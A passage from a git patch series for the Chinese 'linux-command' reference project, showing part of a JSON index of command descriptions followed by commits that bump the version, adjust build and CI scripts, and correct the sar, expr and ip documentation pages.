mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 5683c1c3f5c92777123a7f41c842e5beee6fddf9 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 21 Aug 2022 22:29:34 +0800 Subject: [PATCH 0525/1019] released v1.11.0 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 068e1d045d2..9cf84a157ef 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.10.2", + "version": "1.11.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 7c99be41acf1b1917361e6280151417cf364dc9b Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 21 Aug 2022 22:31:52 +0800 Subject: [PATCH 0526/1019] chore: update scripts. --- build/build.mjs | 1 + 1 file changed, 1 insertion(+) diff --git a/build/build.mjs b/build/build.mjs index 42ae373d3ca..f7c13b392e5 100644 --- a/build/build.mjs +++ b/build/build.mjs @@ -110,6 +110,7 @@ const contributorsPath = path.resolve(process.cwd(), 'CONTRIBUTORS.svg'); if (err && err.message) { console.log(`\n ERROR :> ${err.message.red_bt}\n`) } + process.exit(1); } })(); From a09742f324bc3dae0406b70b381c44756a4fc7a8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Mon, 22 Aug 2022 23:09:28 +0800 Subject: [PATCH 0527/1019] Update `sar.md` (#405) --- command/sar.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/command/sar.md b/command/sar.md index bcee24f3558..bb0858c760c 100644 --- a/command/sar.md +++ b/command/sar.md @@ -24,6 +24,7 @@ sar(选项)(参数) -e：设置显示报告的结束时间； -f：从指定文件提取报告； -i：设状态信息刷新的间隔时间； +-n: 报告网络统计信息。 -P：报告每个CPU的状态； -R：显示内存状态； -u：显示CPU利用率； @@ -65,4 +66,11 @@ kbmemfree与kbmemused字段分别显示内存的未使用与已使用空间， sar -o temp 60 10 ``` +**显示保存在每日数据文件“sa16”中的内存和网络统计信息。** + +```shell +sar -r -n DEV -f /var/log/sa/sa16 +``` + + From 01ceb77407d80e123027eaeb7ec6b35ea2951df7 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 22 Aug 2022 23:13:29 +0800 Subject: [PATCH 0528/1019] chore: update workflows config. --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 77759e6616e..01a3696ce8e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -6,7 +6,7 @@ on: jobs: build-deploy: - runs-on: ubuntu-18.04 + runs-on: ubuntu-20.04 steps: - uses: actions/checkout@v2 - uses: actions/setup-node@v2 From 6acbdf644d14814be17750071a21b8ff36036499 Mon Sep 17 00:00:00 2001 From: Frankie <1426203851@qq.com> Date: Thu, 25 Aug 2022 17:39:12 +0800 Subject: [PATCH 0529/1019] =?UTF-8?q?docs:=20Update=20`expr.md`=20?= =?UTF-8?q?=E6=9B=B4=E6=AD=A3=E6=96=87=E6=9C=AC=20(#406)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/expr.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/expr.md b/command/expr.md index 3240bce1e9d..78cf62d9a70 100644 --- a/command/expr.md +++ b/command/expr.md @@ -13,7 +13,7 @@ expr的常用运算符： - 减法运算：`-` - 乘法运算：`\*` - 除法运算：`/` -- 求摸（取余）运算：`%` +- 取模（取余）运算：`%` ### 语法 From ea631fe642f1926b649a2468438b40651ed3be07 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Tue, 30 Aug 2022 13:07:47 +0800 Subject: [PATCH 0530/1019] =?UTF-8?q?=E4=BF=AE=E6=AD=A3=20`ip`=20=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E9=83=A8=E5=88=86=E8=A7=A3=E9=87=8A=20(#408)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/ip.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/command/ip.md b/command/ip.md index 01f2e99060e..a4112e81d1a 100644 --- a/command/ip.md +++ b/command/ip.md @@ -10,12 +10,12 @@ ip ### 语法 ```shell -ip(选项)(参数) +ip(选项)(对象) Usage: ip [ OPTIONS ] OBJECT { COMMAND | help } ip [ -force ] -batch filename ``` -### 选项 +### 对象 ```shell OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | @@ -31,7 +31,7 @@ OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | -r：显示主机时，不使用IP地址，而使用主机的域名。 ``` -### 参数 +### 选项 ```shell OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] | @@ -50,16 +50,16 @@ help：显示网络对象支持的操作命令的帮助信息。 ### 实例 ```shell -ip link show # 显示网络接口信息 +ip link show # 显示网络接口信息 ip link set eth0 up # 开启网卡 ip link set eth0 down # 关闭网卡 ip link set eth0 promisc on # 开启网卡的混合模式 -ip link set eth0 promisc offi # 关闭网卡的混个模式 +ip link set eth0 promisc offi # 关闭网卡的混合模式 ip link set eth0 txqueuelen 1200 # 设置网卡队列长度 ip link set eth0 mtu 1400 # 设置网卡最大传输单元 ip addr show # 显示网卡IP信息 -ip addr add 192.168.0.1/24 dev eth0 # 设置eth0网卡IP地址192.168.0.1 -ip addr del 192.168.0.1/24 dev eth0 # 删除eth0网卡IP地址 +ip addr add 192.168.0.1/24 dev eth0 # 为eth0网卡添加一个新的IP地址192.168.0.1 +ip addr del 192.168.0.1/24 dev eth0 # 为eth0网卡删除一个IP地址192.168.0.1 ip route show # 显示系统路由 ip route add default via 192.168.1.254 # 设置系统默认路由 From 538ca0284a9f71c164575c12a954119a74816ec8 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 13:39:40 +0800 Subject: [PATCH 0531/1019] chore: update workflows config. --- .github/workflows/ci.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 01a3696ce8e..5030193561c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -8,8 +8,8 @@ jobs: build-deploy: runs-on: ubuntu-20.04 steps: - - uses: actions/checkout@v2 - - uses: actions/setup-node@v2 + - uses: actions/checkout@v3 + - uses: actions/setup-node@v3 with: node-version: 16 @@ -21,7 +21,7 @@ jobs: - run: npm install - run: npm run build - - run: node build/dash.js + - run: node run dash - name: Compress linux-command.docset. run: zip -r -y linux-command.docset.zip . -x "node_modules/*" From cb7539daef496aba25a292753591798684c5ab1d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 13:51:03 +0800 Subject: [PATCH 0532/1019] chore: modify dash.js -> dash.mjs --- build/{dash.js => dash.mjs} | 15 ++++++++++----- package.json | 2 +- 2 files changed, 11 insertions(+), 6 deletions(-) rename build/{dash.js => dash.mjs} (91%) diff --git a/build/dash.js b/build/dash.mjs similarity index 91% rename from build/dash.js rename to build/dash.mjs index 986235dd507..ab6c197d9c5 100644 --- a/build/dash.js +++ b/build/dash.mjs @@ -1,8 +1,13 @@ -const fs = require('fs-extra'); -const { resolve: pathResolve, join: pathJoin } = require('path'); -const sqlite3 = require('sqlite3'); -const archiver = require('archiver'); -const pkg = require('../package.json'); +import fs from 'fs-extra'; +import path from 'path'; +import { resolve as 